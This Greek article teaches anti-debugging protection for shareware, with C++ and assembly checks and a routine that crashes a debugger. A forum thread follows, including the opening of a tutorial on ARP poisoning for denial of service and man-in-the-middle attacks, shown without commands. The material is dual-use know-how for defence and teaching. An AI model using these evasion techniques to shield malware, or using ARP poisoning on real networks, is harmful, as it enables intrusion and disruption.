Η διαδικασία προστασίας των προγραμμάτων για PC είναι πολύ παλιά. Χάνεται κάπου στις απαρχές του... 1980! Από τότε δηλαδή που εμφανίστηκαν τα πρώτα Personal Computers. Βέβαια από τότε πολλά άλλαξαν. Από τον αρχικό στόχο που ήταν βασικά η προστασία από αντιγραφή, φτάσαμε στους νέους και «μοντέρνους» στόχους που είναι η προστασία από την αλλαγή και την ανάγνωση του κώδικα από μη εξουσιοδοτημένους «χρήστες». Σημεία των καιρών...

Σε κάθε περίπτωση η έννοια του anti-cracking περιλαμβάνει αρκετά θέματα αλλά ένα βασικό σκοπό: Να μην μπορέσει κάποιος να προσβάλει με οποιονδήποτε τρόπο την ακεραιότητα ενός προγράμματος. Η λέξη «προσβάλει» περιλάμβάνει έννοιες όπως, το να διαβάσει, να κατανοήσει και φυσικά να αλλάξει το πρόγραμμα με στόχο να επιτελέσει διαδικασίες διαφορετικές από αυτές για τις οποίες φτιάχτηκε.

Η όλη ιστορία ξεκίνησε από τότε που οι κατασκευαστές προγραμμάτων αποφάσισαν οτι έπρεπε να βγάζουν δοκιμαστικές εκδόσεις (όπως demos ή evaluation versions) για τα προγράμματα τους. Τα πρόγραμματα αυτά είναι τα ίδια ακριβώς που θα αποκτούσε κάποιος αν τα αγόραζε κανονικά, με τη μόνη διαφορά κάποιες αλλαγές που στην πραγματικότητα έκρυβαν όλες τις δυνατότητες τους. Ε, αυτή η κίνηση αποτέλεσε την «πτώση του... γαντιού» προς τους crackers, οι οποίοι ξεκίνησαν με διάφορες τεχνικές να προσπαθούν να παρακάμψουν τις μικρές αλλαγές που έκαναν οι κατασκευαστές έτσι ώστε να κάνουν τα προγράμματα να προσφέρουν το 100% των δυνατοτήτων τους, σαν να ήταν αγορασμένα.

Μετά από λίγο καιρό, το cracking δημιούργησε σοβαρά προβλήματα τόσο στις μεγάλες εταιρίες όσο και στην κοινότητα των "ελεύθερων προγραμματιστών". Οι ελεύθεροι προγραμματιστές είναι επαγγελματίες που δεν βρίσκονται πίσω από μια μεγάλη εταιρεία και προσφέρουν τα προγράμματά τους (τα οποία, ομολογουμένως, πολλές φορές δεν έχουν να ζηλέψουν τίποτα από τα αντιστοιχα των μεγάλων εταιριών) σε download sites, σαν shareware. Ο όρος shareware δηλώνει οτι τα προγράμματα μπορούν να χρησιμοποιηθούν από οποιονδήποτε, για ένα μικρό χρονικό διάστημα. Από εκεί και πέρα χρειάζετε συνήθως να δοθεί κάποιο ποσό για να μπορέσει ο χρήστης να συνεχίσει να χρησιμοποιεί το πρόγραμμα ή για να «ξεκλειδωθούν» όλες οι δυνατότητες του.

Έτσι, ξεκίνησαν να χρησιμοποιούνται τεχνικές προστασίας από τις επιθέσεις των crackers ώστε αυτοί να μην μπορούν εύκολα να επιτελέσουν το έργο τους. Λέμε, εύκολα, διότι όπως είναι γνωστό «ότι κλειδώνει, ξεκλειδώνει» και τις περισσότερες φορές δεν είναι πολύ εύκολο να εμποδίζουμε ένα γνώστη και αποφασισμένο cracker να «σπάσει» το πρόγραμμά μας. Μπορούμε όμως να του κάνουμε την ζωή από δύκολη έως... εφιαλτική ;-) χρησιμοποιώντας κάποιες τεχνικές και κάποια μικρά μυστικά μερικά από τα οποία ευελπιστούμε να αναλύσουμε σε αυτό το άρθρο.

Σε πολύ πολύ γενικές γραμμές, για να μπορέσουμε να προστατέψουμε ένα πρόγραμμα πρέπει να έχουμε στο μυαλό μας 2 βασικά κριτήρια προστασίας:
1.   Να μην μπορεί το πρόγραμμα μας να χρησιμοποιηθεί από ένα debugger.
2.   Να μην μπορεί το πρόγραμμα μας να διαβαστεί (τουλάχιστον εύκολα) με ένα απλό disassembler ή με ένα memory dumper (μεταφορά του προγράμματος από την μνήμη σε αρχείο στον δίσκο).

Έστω οτι εμείς θέλουμε να φτιάξουμε ένα shareware πρόγραμμα για περιβάλλον Windows Vista το οποίο θα δέχεται ένα serial number και θα εξετάζει αν αυτό το serial number είναι γνήσιο. Θα δούμε πως μπορούμε να φτιάξουμε έναν ελεγκτή serial number με τους δικούς μας κανόνες γνησιότητας. Επίσης, θα δώσουμε στο πρόγραμμα μας κάποιες δυνατότητες που θα ικανοποιεί τα παραπάνω 2 βασικά κριτήρια προστασίας που αναφέραμε.

Τα βήματα που θα παρουσιάσουμε υλοποιώντας το πρόγραμμά μας θα είναι τα παρακάτω:
1.   Τεχνικές Anti-Debugging (θα περιγραφεί σε αυτό το part I).
2.   Μπέρδεμα του κώδικα ώστε να μην μπορεί να κατανοηθεί εύκολα (code obfuscation - θα περιγραφεί στο part II).
3.   Packing του εκτελέσιμου και self-encryption (θα περιγραφεί στο part II).
4.   Δημιουργία αλγόριθμου για την απόδειξη της γνησιότητας ενός serial number (serial number authentication - θα περιγραφεί στο part II).

Οι προγραμματιστικές τεχνικές που θα χρησιμοποιήσουμε θα υλοποιηθούν κάνοντας χρήση της γλώσσας C++ και της Assembly. Θα κάνουμε επίσης κλήσεις στο API (Application Programming Interface) των Windows Vista. Όσα παρουσιαστούν, αναπτύχθηκαν και δοκιμάστηκαν σε περιβάλλον Windows Vista με το Visual Studio 2008.

Για να λειτουργήσουν σωστά όλες οι συναρτήσεις που δίνουμε σε αυτό το άρθρο, θα πρέπει να έχετε χρησιμοπoιήσει στο προγραμμά σας, τα παρακάτω headers:

#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <SetupAPI.h>
#include <stdlib.h>
#include <stdio.h>
#include <Psapi.h>
#include <tlhelp32.h>
#include <vdmdbg.h>
#include <conio.h>
#include <tlhelp32.h>

Ας ξεκινήσουμε:

Βήμα 1: Τεχνικές AntiDebugging
Ένας σημαντικός συντελεστής προστασίας του προγράμματος μας από αδιάκριτα βλέματα είναι να μην μπορεί κάποιος να διαβάσει τον κώδικα μας, μέσω του εκτελέσιμου αρχείο που θα του δώσουμε, με τη χρήση κάποιου ειδικού debugger ή dis-assembler, όπως οι Olly (http://www.ollydbg.de/), W32Dasm (http://is.gd/6GOE), SoftIce (http://is.gd/6GOT) κλπ.

Υπάρχουν πολλές τεχνικές για να το καταφέρουμε αυτό. Άλλες μπορούν να παραβιαστούν πολύ εύκολα και άλλες πιο δύσκολα. Το αρνητικό που συχνά συμβαίνει στις προστασίες προγραμμάτων είναι οτι χρησιμοποιείται μόνο μία μέθοδος προστασίας. Έτσι, όταν ο cracker την παρακάμψει, το έργο του είναι μετά είναι piece of cake. Εμείς, θα χρησιμοποιήσουμε πολλές μεθόδους μαζί, έτσι ώστε να δυσκολέψουμε το έργο του επίδοξου cracker. Φυσικά, τίποτε δεν είναι απόρθητο, και αν ο cracker είναι πολύ καλός και έχει και... «τεράστια» υπομονή, χρόνο και μερικές φορές τύχη, ίσως (λέμε ίσως!) καταφέρει τελικά να «παραβιάσει» το πρόγραμμά μας ;-)

Τεχνική 1: Κλήση της API function IsDebuggerPresent().
H τεχνική αυτή αναφέρεται απλά και μόνο για λόγους επάρκειας και γνώσης μιας και είναι πολύ εύκολο να παραβιαστεί.
Η function αυτή βρίσκεται μέσα στην kernel32.dll. Πριν μπούμε σε λεπτομέρειες ας αναφέρουμε πρώτα για το περίφημο (PEB Process Enviroment Block - http://is.gd/6GWt).
Το PEB είναι μια περιοχή στην μνήμη που έχει αποδοθεί (από το λειτουργικό σύστημα) στον χρήστη και περιέχει πληροφορίες για κάθε επεξεργασία (Process) που τρέχει στο σύστημα του. Το χαρακτηριστικό της είναι οτι μπορεί να «πειραχτεί» από τον χρήστη εφόσων τρέχει στο λεγόμενο Process Address Space του. Στο PEB βρίσκονται πολλές χρήσιμες (και πολλές φορές... undocumented) πληροφορίες (http://is.gd/6GU4), όπως στοιχεία για το Image Base Address (η διεύθυνση που «φορτώνεται» το 1ο byte του εκτελέσιμου), για το Ηeap (την μνήμη που αποδίδεται δυναμικά κατά τη διάρκεια εκτέλεσης του προγράμματος) για τις «βιβλιοθήκες» που έχουν κληθεί για να «συνδράμουν» ;) στην τρέχουσα διεργασία, για τις μεταβλητές μνήμης κλπ κλπ. Μέσα στα «κλπ κλπ.» βρίσκεται και μια ένδειξη (flag) που αναφέρει αν η τρέχουσα διεργασία έχει κληθεί από κάποιον debugger. Η ένδειξη αυτή βρίσκεται στην θέση 30h (δεκαεξαδικό) ή 48 (για τους κολλημένους με το δεκαδικό σύστημα) μέσα στο PEB.
Για λόγους κατανόησης και... «διαφάνειας» ;-) δίνουμε μια δική μας εκδοχή της function IsDebuggerPresent() σε C++ και Inline Assembly, που κάνει το ίδιο ακριβώς με αυτήν του API των Windows.

int DirectIsDebuggerPresent()
{
    char IsDbgPresent = 0;
    __asm {
         mov eax, fs:[30h]
         mov al, [eax + 2h]
         mov IsDbgPresent, al
    }
    return(IsDbgPresent);
}

Όμως, όπως είπαμε, το BEP μπορεί να «πειραχτεί» από τον χρήστη και όταν λέμε «από τον χρήστη» εννοούμε από οποιονδήποτε χρήστη! Ακόμα κι από τον cracker. Έτσι πολύ εύκολα κάποιος «κακόβουλος» θα μπορούσε να αλλάξει την ένδειξη αυτή από αληθή σε ψευδή και η function DirectIsDebuggerPresent() να επιστρέφει πάντα false.

Τεχνική 2: Η συνάρτηση CheckRemoteDebuggerPresent().
Πρόκειται για μια τεχνική παρόμοια με την προηγούμενη με τη διαφορά οτι χρησιμοποιεί την ntdll.dll. Εμείς θα την χρησιμοποιήσουμε κάνοντας κλήση κατ’ ευθείαν στην NtQueryInfoProcess. Μια κλήση που δεν συνίσταται από την MicroSoft μιας και η συμπεριφορά των συναρτήσεων NtXXX μπορεί να αλλάξει χωρίς προειδοποίηση με μια νέα έκδοση ή ακόμα και ένα Patch του Λειτουργικού Συστήματος. Η συνάρτηση είναι η παρακάτω:

int CheckRemoteDebugger_Direct()
{
// Function Pointer Typedef for NtQueryInformationProcess
typedef unsigned long (__stdcall *pfnNtQueryInformationProcess)(IN  HANDLE,
        IN  unsigned int, OUT PVOID, IN ULONG, OUT PULONG);
 
const int ProcessDbgPort = 7;
 
pfnNtQueryInformationProcess NtQueryInfoProcess = NULL;
 
unsigned long Ret;
unsigned long IsRemotePresent = 0;
 
HMODULE hNtDll = LoadLibrary(TEXT("ntdll.dll"));
if(hNtDll == NULL)
    return(0);

NtQueryInfoProcess = (pfnNtQueryInformationProcess)
   GetProcAddress(hNtDll, "NtQueryInformationProcess");
if(NtQueryInfoProcess == NULL)
    return(0);

Ret = NtQueryInfoProcess(GetCurrentProcess(), ProcessDbgPort,
      &IsRemotePresent, sizeof(unsigned long), NULL);
return(Ret == 0x00000000 && IsRemotePresent != 0);

}

Τεχνική 3: Τσεκάροντας τις ενδείξεις NtGlobalFlags.
Μια άλλη συχνά χρησιμοποιούμενη τεχνική είναι αυτή που ελέγχει τις ενδείξεις που επιστρέφει η NtGlobalFlags. Το NtGlobalFlags είναι μια λέξη (DWORD) μέσα στο PEB. Αυτή η μεταβλητή περιέχει κάποιες συγκεκριμενες τιμές όταν το πρόγραμμα μας εκτελείτε μέσα από debugger, όπως:
FLG_HEAP_ENABLE_TAIL_CHECK (0x10),
FLG_HEAP_ENABLE_FREE_CHECK(0x20) και
FLG_HEAP_VALIDATE_PARAMETERS(0x40).
Εάν στο τέλος της κλήσης η τιμή του καταχωρητή EAX είναι η 70h τότε κάποιος debugger έχει αναλάβει.. δράση!
Η συνάρτηση που πρέπει να φτιάξουμε έχει ως εξής:

int TestNtGlobalFlags()
{
    unsigned long NtGlobalFlags = 0;
    __asm {
        mov eax, fs:[30h]
        mov eax, [eax + 68h]
        mov NtGlobalFlags, eax
        }
    return (NtGlobalFlags & 0x70);
}

Τεχνική 4: Ελέγχοντας το parent processes του προγράμματος μας.
Mια αρκετά αγαπημένη μου τεχνική. Το κολπάκι είναι το εξής: Όταν τρέχει ένα πρόγραμμα στην μνήμη, έχει πάντα ένα γονέα (parent): Πρόκειται για αυτόν που το κάλεσε ή αλλιώς αυτόν που το «γέννησε», το έκανε δηλαδή να κληθεί, να αποκτήσει ζωή! Αν το πρόγραμμα κληθεί κανονικά από τον περιβάλλον των windows ο γονέας του είναι το πρόγραμμα explorer.exe. Αν κληθεί το πρόγραμμα από κάποιον debugger τότε ο γονέας του είναι το όνομα του debugger. Φυσικά υπάρχουν κι άλλοι... «γονείς». Π.χ. αν κληθεί από τη γραμμή εντολών (Command Line) του λειτουργικού (του πάλαι πότε αθάνατου και διαχρονικού... DOS Command!) τότε ο γονέας του είναι ο cmd.exe. Αν πάλι κληθεί μέσα από το περιβάλλον του Visual Studio 2008 o γονέας του είναι ο devenv.exe. Απ’ οτι θα καταλάβατε οι γονείς μπορεί να είναι πολλοί! Μπορούμε όμως να γίνουμε λίγο πιο αυστηροί και να απαιτήσουμε να εκτελείτε το πρόγραμμα μας μόνο από το λειτουργικό ή την γραμμή εντολών και όταν ο γονέας δεν είναι ο explorer.exe ή ο cmd.exe τότε να θεωρούμε οτι το πρόγραμμά μας δεν κλήθηκε με τον σωστό τρόπο ή οτι κλήθηκε από κάποιον debugger.
Ο κώδικας παρακάτω βρίσκει το Process ID του Parent Process του προγράμματος μας και μετά βρίσκει το όνομα αυτού του parent process. Αν δεν είναι κάποιο από τα "explorer.exe", "cmd.exe" τότε θεωρεί οτι υπάρχει ενεργοποιημένος debugger. Οπότε bye bye...

int TestByProcessCheck()
{
char filename[256];
int i, currProcessID, ParentProcessID, IsDebugON = 0;

// Get the process list snapshot.
HANDLE hProcessSnapShot = CreateToolhelp32Snapshot(
                                        TH32CS_SNAPALL,
                                        0 );

// Initialize the process entry structure.
PROCESSENTRY32 ProcessEntry = { 0 };
ProcessEntry.dwSize = sizeof( ProcessEntry );

// Get Current process.
currProcessID = GetCurrentProcessId();

if (!Process32First( hProcessSnapShot, &ProcessEntry ))
    return IsDebugON;
do
{
    for (i=0; ProcessEntry.szExeFile[ i ] != '\0' ; i++ )
        filename[ i ] = ProcessEntry.szExeFile[ i ];
    filename[ i ] =     '\0';

    printf("%d %30s PPID-->%d",ProcessEntry.th32ProcessID, filename,
                             ProcessEntry.th32ParentProcessID);        

    if (currProcessID == ProcessEntry.th32ProcessID){
        ParentProcessID = ProcessEntry.th32ParentProcessID;
    }
}
while( Process32Next( hProcessSnapShot, &ProcessEntry ));

//Getinfo for parent process ID
if (!Process32First( hProcessSnapShot, &ProcessEntry ))
    return IsDebugON;
do
{
    if (ParentProcessID == ProcessEntry.th32ProcessID){
        for (i=0; ProcessEntry.szExeFile[ i ] != '\0' ; i++ )
            filename[ i ] = ProcessEntry.szExeFile[ i ];
        filename[ i ] =     '\0';

        if  (  (stricmp(filename , "cmd.exe")) &&
             (stricmp(filename , "explorer.exe")))
        {
            IsDebugON = 1;
        }

        break;
    }
}
while( Process32Next( hProcessSnapShot, &ProcessEntry ));

// Close the handle
CloseHandle( hProcessSnapShot );
    return (IsDebugON);
}

Βέβαια αυτή η τεχνική έχει και αρκετά μειονεκτήματα. Θα μπορούσε να επιστρέφει αρκετά "false alarms" αν κάποιος καλούσε το πρόγραμμα μέσα από κάποιο file explorer, όπως π.χ. τον αγαπημένο μου Total Commander [τον πάλαι πότε Norton Commander - αν τον θυμάται κανένας ακόμα!!! ].

Τεχνική 5: Μετρώντας τον χρόνο που μεσολαβεί μεταξύ της εκτέλεσης δύο εντολών ή αλλιώς «τεχνική anti-break-point».
Ένας αρκετά πονηρός και όχι έυκολα παραβιάσιμος τρόπος προστασίας είναι να μετρήσουμε τον χρόνο που έχει περάσει ανάμεσα σε 2 εντολές του προγράμματός μας. Αν ο χρόνος αυτός είναι μεγαλύτερος από (ας πούμε) 1 δευτερόλεπτο σημαίνει οτι μάλλον κάποιος βρίσκεται μέσα σε ένα debugger και μάλιστα έχει βάλει κάποιο break point και διαβάζει το πρόγραμμά μας.
Θα χρησιμοποιήσουμε 2 μεθόδους που υλοποιούνε αυτήν την τεχνική για να κάνουμε ακόμα πιο δύσκολο τον εντοπισμό της: Την GetTickCount και την QueryPerformanceCounter.

>>GetTickCount:
Η βιβλιοθήκη Win32 μας παρέχει μια ειδική συνάρτηση η οποία μετράει τον χρόνο (σε χιλιοστά του δευτερολέπτου) που έχει περάσει από τη στιγμή που ανοίξαμε τον υπολογιστή μας. Πέρα από τα (ομολογουμένως) ενδιαφέροντα κόλπα που μπορούμε να κάνουμε με αυτήν την συνάρτηση, μπορούμε και να μετρήσουμε τον χρόνο που έχει περάσει ανάμεσα σε μια ή περισσότερες εντολές. Το ενδιαφέρον της υπόθεσης είναι οτι η συνάρτηση αυτή δεν χρησιμοποιεί καμιά υπηρεσία (service) του kernel για να τρέξει. Η υλοποίηση της είναι σχετικά απλή:

...
unsigned int BeginTime, EndTime, Difference;
...
BeginTime = GetTickCount();
function1();
function2();
EndTime = GetTickCount();
Difference = (EndTime - BeginTime) / 1000;  // seconds  
if (Difference > 1 )
    printf("Debug ON from GetTickCount with number = %d! \n",Difference);
...

>>QueryPerformanceCounter:
Είναι μια API function και βρίσκεται μέσα στην kernel32.dll. Η υλοποίηση της είναι επίσης εύκολη:

...
__int64 ctr1 = 0, ctr2 = 0, diff, freq=0;
QueryPerformanceCounter((LARGE_INTEGER *)&ctr1);
function1();
function();
QueryPerformanceFrequency((LARGE_INTEGER *)&freq);
QueryPerformanceCounter((LARGE_INTEGER *)&ctr2);
diff = ((ctr2 - ctr1)  / freq);        // seconds
if (diff > SecondsToWaitBeforeAbort)
    printf("Debug ON from QueryPerformanceCounter with number = %d! \n",diff);
...

Υπάρχουν και κάποιες άλλες τεχνικές που βασίζονται σε κάποια side-effects του τρόπου που λειτουργούν οι API functions των windows XP οι οποίες όμως έχουν αλλάξει στα Vista γι’ αυτό και δεν τις υλοποίησαμε. Για την επάρκεια όμως της γνώσης είναι καλό να τις αναφέρουμε.

Η περίπτωση του kernel32!CloseHandle και NtClose.
Κάποιες συναρτήσεις API χρησιμοποιούν την συστημική κλήση ZwClose (http://is.gd/6HhG) (όπως η CloseHandle και η NtClose) η οποία μπορεί να χρησιμοποιηθεί για την εύρεση παρουσίας debugger. H ZwClose δέχεται σαν παράμετρο ένα pointer σε ένα οποιοδήποτε object για να το αποδεσμεύσει. Αν μέσα από ένα debugger καλέσουμε την ZwClose με παράμετρο η οποία δεν αντιστοιχεί σε κάποιο υπαρκτό object τότε αυτή (αν και μόνο αν βρίσκεται κάτω από debugger) επιστρέφει ένα συγκεκριμένο λάθος (exception) το οποίο είναι το STATUS_INVALID_HANDLE (0xC0000008).
Η περίπτωση του kernel32!OutputDebugStringA (http://is.gd/6Hp1).
Η τεχνική αυτή αναφέρεται (στην «βιβλιογραφία») οτι έχει χρησιμοποιηθεί στο ReCrypt v0.80. Το κολπάκι βρίκεται στην κλήση της OutputDebugStringΑ η οποία δέχετε σαν παράμετρο μια σειρά χαρακτήρων. Σε κανονικές συνθήκες η function αυτή επιστρέφει 1, αλλά αν κληθεί μέσα από έναν debugger και περάσουμε σαν παράμετρο μια μη αποδεκτή σειρά χαρακτήρων τότε η συνάρτηση αυτή επιστρέφει την διεύθυνση της σειράς χαρακτήρων που περάσαμε σαν παράμετρο και όχι το 1 ή 0, όπως θα περίμενε κανείς.

Καλώντας τα όλα μαζί:
Η βασική υποθετική function που θα μπορούσε να καλεί όλες τις παραπάνω συναρτήσεις είναι η ακόλουθη:

int DirectIsDebuggerPresent();
int TestNtGlobalFlags();
int CheckRemoteDebugger_Direct();
int TestByProcessCheck();
int CrashAttack();


#define SecondsToWaitBeforeAbort 1

int main(int argc, char *argv[])
{
    unsigned int BeginTime, EndTime, Difference;
    __int64 ctr1 = 0, ctr2 = 0, diff, freq=0;

    printf("Hello world!\n");

    BeginTime = GetTickCount();
    QueryPerformanceCounter((LARGE_INTEGER *)&ctr1);
    BOOL bDebugged = FALSE;
    CheckRemoteDebuggerPresent( GetCurrentProcess(), &bDebugged );
    if (bDebugged) printf("Debug ON from API CheckRemoteDebuggerPresent() \n");
    else printf("Debug OFF from CheckRemoteDebuggerPresent \n");

    if (CheckRemoteDebugger_Direct())
             printf("Debug ON from CheckRemoteDebugger_Direct \n");
    else
             printf("Debug OFF from CheckRemoteDebugger_Direct \n");

    if (DirectIsDebuggerPresent())
           printf("Debug ON from IsDebuggerPresent() direct call \n");
    else
           printf("Debug OFF from IsDebuggerPresent() direct call \n");

    if (TestNtGlobalFlags()) printf("Debug ON from NtGlobalFlags \n");
    else printf("Debug OFF from NtGlobalFlags \n");

    if (TestByProcessCheck()) {
        printf("Debug ON from TestByProcessCheck & crash ATTACK\n");
        CrashAttack();  //!!!!!!!!!!!! ΕΠΙΘΕΣΗΗΗΗΗΗΗΗΗΗΗ !!!!!!!!!
    }
    else printf("Debug OFF from TestByProcessCheck & crash ATTACK\n");

    QueryPerformanceFrequency((LARGE_INTEGER *)&freq);

    EndTime = GetTickCount();
    QueryPerformanceCounter((LARGE_INTEGER *)&ctr2);

    Difference = (EndTime - BeginTime) / 1000;  // seconds  
    diff = ((ctr2 - ctr1)  / freq);        // seconds

    if (Difference > SecondsToWaitBeforeAbort )
        printf("Debug ON from GetTickCount with number = %d! \n",Difference);

    if (diff > SecondsToWaitBeforeAbort)
        printf("Debug ON from QueryPerformanceCounter with number = %d! \n",diff);

    printf("END OF PROGRAM....");
    return 0;
}

Δώστε βάση στην επιτυχία της TestByProcessCheck(). Σε αυτήν την περίπτωση κάνουμε κάτι... κακό. Καλούμε την function CrashAttack() η οποία κάνει το πρόγραμμα μας να «κολλήσει». Αυτό βέβαια μπορούμε να το κάνουμε κάθε φορά που διαπιστώνουμε οτι βρισκόμαστε μέσα σε έναν debugger. H κακή function απλά ορίζει μια σειρά χαρακτήρων με λάθος ορίσματα κάνοντας τον debugger να τα... «παίξει». Ο κώδικάς της είναι ο ακόλουθος:

int CrashAttack()
{
    const char szHello[10] = "%s%s";
    printf("\n---*In Attack*---\n");
    __asm {
         push  szHello
         call [OutputDebugStringA]
    }
    return(1);
}

Μια βασική παρατήρηση. Ποτέ μα ποτέ να μην γράφετε τον κώδικα σας τόσο εύκολα κατανοητό όσο εμείς σε αυτό το παράδειγμα που έγινε για λόγους παρουσίασης και κατανόησης. Μην επαφίεστε ποτέ σε έναν μόνο έλεγχο μιας μεταβλητής για το αν υπάρχει ή όχι debugger ενεργοποιημένος ή πόσα δευτερόλεπτα μπορεί να περιμένει το πρόγραμμα πριν αποφασίσει οτι έχει μπει ένα break point. Οι έλεγχοι που βασίζονται σε μεμονομένες μεταβλητές δεν είναι καλή πρακτική μιας και εύκολα μπορούν να αλλάξουν από τον cracker. Να προτιμάτε να καλέσετε την ίδια την συνάρτηση μέσα στον έλεγχο (if/then) παρά να βάλετε το αποτελέσεμα της σε μια μεταβλητή και μετά να εξετάσετε την μεταβλητή. Πολλά τέτοια κι άλλα ακόμα κόλπα θα δούμε στο part 2 αυτού του άρθρου όταν θα μιλήσουμε για code obfuscation, δηλαδή για μπέρδεμα του κώδικα για να μην μπορεί εύκολα να γίνει κατανοητός.

Πιστεύω οτι έδωσα μια μικρή αλλά αντιπροσωπευτική εικόνα για τον τρόπο που μπορούμε να προστατεύσoυμε τα προγράμματα μας από τον... debugger!
Φυσικά οι τρόποι και οι μέθοδοι είναι πάρα πολλοί και συνεχώς εξελίσονται κατ’ αναλογία πάντα με την τεχνικές cracking! Εγώ, πάντα στα πλαίσια του χώρου από τη μία και της επάρκειας της γνώσης από την άλλη, προπάθησα να δώσω μια εικόνα εικόνα του 1ου βήματος προστασίας. Στο επόμενο part θα ακολουθήσουν και τα επόμενα βήματα τα οποία είναι εξίσου σημαντικά αλλά και ενδιαφέροντα.

Όλο το project το έχουμε ονομάσει Rock. Τα sources μαζί με το executable των συναρτήσεων που παρουσιάζονται σε αυτό το άρθρο, μπορείτε να το κατεβάσετε από εδώ: http://rapidshare.com/files/189286984/RockProjectThiseas.rar.
Ως συνήθως, δεν υπάρχει κανένα πρόβλημα copyright και μπορείτε να χρησιμοποιήσετε τον κώδικα για να προστατεύσετε τα προγράμματα σας, όπως εσείς νομίζετε χωρίς εγώ να έχω ΚΑΜΙΑ απαίτηση. Ούτε απαιτώ καμιά αναφορά σε κανένα προγραμματιστή που τα έφτιαξε, κανένα χρηματικό «έπαθλο» ή άλλα τέτοια χαρωπά! Μπορείτε να τα αλλάξετε, να τα χαλάσετε, να τα εμπλουτίσετε, να τα πουλήσετε, και οτι περνάει από το μυαλό σας που δεν περνάει από το δικό μου...

Happy Anti-Cracking!!

[Πρώτη Δημοσίευση: Total XakeЯ Magazine #19 (Dec.2008)]

[ PART II ]

Application Protection

ntaryl — Tue, 02 Mar 2010 06:52:50 GMT

Καλησπερα

1) Για να προστατεψουμε την εφαρμογη μας μπορουμε να χρησιμοποιησουμε ειτε με hardware ID αλλα ακομα μπορουμε να χρησιμοποιησουμε να δινεται license μεσω Ιντερνετ

2)Για προστασια του κωδικα μας απλα χρησιμοποιηστε anti crack τεχνικες .και με το κλεισιμο της εφαρμογης μια καλη κρυπτογραφηση .

Σαφως το μπερδεμα του κωδικα ειναι καλο αλλα αμα κανει Decompile .....

καλο βραδυ

test

Thiseas — Sat, 06 Mar 2010 05:40:27 GMT

Θα παρουσιάσω τον τρόπο που μπορεί κάποιος να παραποιήσει τα δεδομένα που ξέρει ο router για κάποιο υπολογιστή του δικτύου (ARP Poisoning) με αποτέλεσμα την άρνηση εξυπηρέτησης ή αλλιώς το γνωστό (DOS) Denial Of Service ή ακόμα πιο "λαϊκά": Να μην έχει internet!!
Επίσης θα δείξω πώς η παραπάνω μέθοδος θα μπορούσε (με μια μικρή αλλαγή) να χρησιμοποιηθεί και για επιθέσεις Man In The Middle. Γενικά θα δούμε την λειτουργία του ARP Poisoning στην πράξη. Δεν θα χρησιμοποιήσω κάποιο έτοιμο εργαλείο. Ούτε καν θα γράψω κάποιο πρόγραμμα. Την αλλοίωση του πίνακα ARP μαζί με ότι αυτό συνεπάγεται, θα την πραγματοποιήσω με τον πατροπαράδοτο παλιό καλό τρόπο: Χειροκίνητα!

Θα πραγματοποιήσω την επίθεση από ένα box με λειτουργικό σύστημα Windows Vista SP2 σε ένα box με Windows XP SP2. Ακόμα, θα παρακολουθήσω και θα ελέγξω την επιτυχία της επίθεσης με την χρήση του γνωστού sniffer Wireshark.

Για να καταλάβουμε πως ακριβώς θα λειτουργήσει η επίθεση θα πρέπει να μιλήσω πρώτα για ένα πρόγραμμα που μας δίνεται μαζί με τα Vista αλλά και τα XP. Ένα πρόγραμμα που τρέχει από την γραμμή εντολών του λειτουργικού συστήματος, και που «ακούει» στο όνομα ARP.EXE και βρίσκεται (που αλλού στον κατάλογο c:\windows\system32. Το πρόγραμμα αυτό μόλις εκτελεστεί με την παράμετρο "-a" θα μας δείξει τα περιεχόμενα του πίνακα ARP (εικόνα 1).

Εικόνα 1: Τα περιεχόμενα του πίνακα ARP

O πίνακας ARP περιέχει την σύνδεση μεταξύ της IP address ενός υπολογιστή (ή καλύτερα ενός network interface) στο δίκτυο και της MAC Address του. Για τους πιο θεωρητικούς, πρόκειται για μια σύνδεση μεταξύ του OSI layer level 2 (Data Link Layer – όπως η MAC Address) με το OSI layer 3 (Network Layer – όπως η IP Address).
Αυτός ο πίνακας "ζει" και ανανεώνεται στην μνήμη του κάθε ένα υπολογιστή. Στο παράδειγμα της εικόνας 1, βλέπουμε ότι στον τρέχον υπολογιστή στο interface με IP 192.168.1.66 είναι καταχωρημένες εφτά συσκευές, ή για να είμαι πιο ακριβής, εφτά network interfaces (θα το εξηγήσω αυτό περισσότερο στην επόμενη παράγραφο). Η πρώτη στήλη είναι η IP address (Internet address) η δεύτερη στήλη είναι η MAC address και η τρίτη στήλη αναφέρει αν η συγκεκριμένη καταχώρηση είναι στατική ή δυναμική. Οι δυναμικές καταχωρήσεις εισάγονται αυτόματα (όταν γίνει αναφορά κάποιας διεύθυνσης που δεν είναι ήδη καταχωρημένη) από ένα πρόγραμμα που δίνεται μαζί με το λειτουργικό σύστημα και ονομάζεται DHCP server. Π.χ. Αν κάνω ένα ping σε κάποια μη καταχωρημένη διεύθυνση, τότε αυτή εισάγεται ή αν υπάρχει ήδη τότε ενημερώνεται (εφόσον δεν είναι στατική!!). Οι Στατικές καταχωρήσεις μπορούν να εισάγονται από προγράμματα ή από τον ίδιο τον χρήστη. Αυτές έχουν προτεραιότητα έναντι των δυναμικών. Κρατήστε το αυτό! Θα μας χρειαστεί λίγο αργότερα.

Σας χρωστάω όμως μια εξήγηση. Προηγουμένως ήθελα να είμαι ακριβής και ανάφερα ότι στον πίνακα ARP καταχωρούνται interfaces και όχι κατ' ανάγκη συσκευές μεμονωμένες. Θα δώσω ένα παράδειγμα μια και πρόκειται για ένα θέμα που δεν είναι συχνά ξεκάθαρο σε πολλούς: Το laptop μου όταν συνδέεται μέσω καλωδίου (RJ-45) έχει ενεργό τόσο το ασύρματο interface όσο και το ενσύρματο, το τοπικό. Ο DHCP server δίνει διαφορετική IP σε κάθε interface και φυσικά έχουν και διαφορετική MAC address μια και πρόκειται για διαφορετικές κάρτες δικτύου. Μια τέτοια κατάσταση απεικονίζεται στον πίνακα ARP σαν δύο διαφορετικές εγγραφές (συσκευές) η κάθε μια με την δική της IP. Αυτό είναι απολύτως φυσικό εφόσον ο πίνακας ARP κρατά interfaces και όχι συσκευές (π.χ. υπολογιστές). Στο δικό μας box, στην εικόνα 1, βλέπουμε τρία διαφορετικά interfaces για τον τρέχοντα υπολογιστή που τρέξαμε την εντολή "arp -a". To κάθε ένα με τις δικές του καταχωρήσεις.
Και τώρα που τα καταλάβαμε όλα και είμαστε γεμάτοι γνώσεις και ενθουσιασμό, ας προχωρήσουμε στην πράξη!

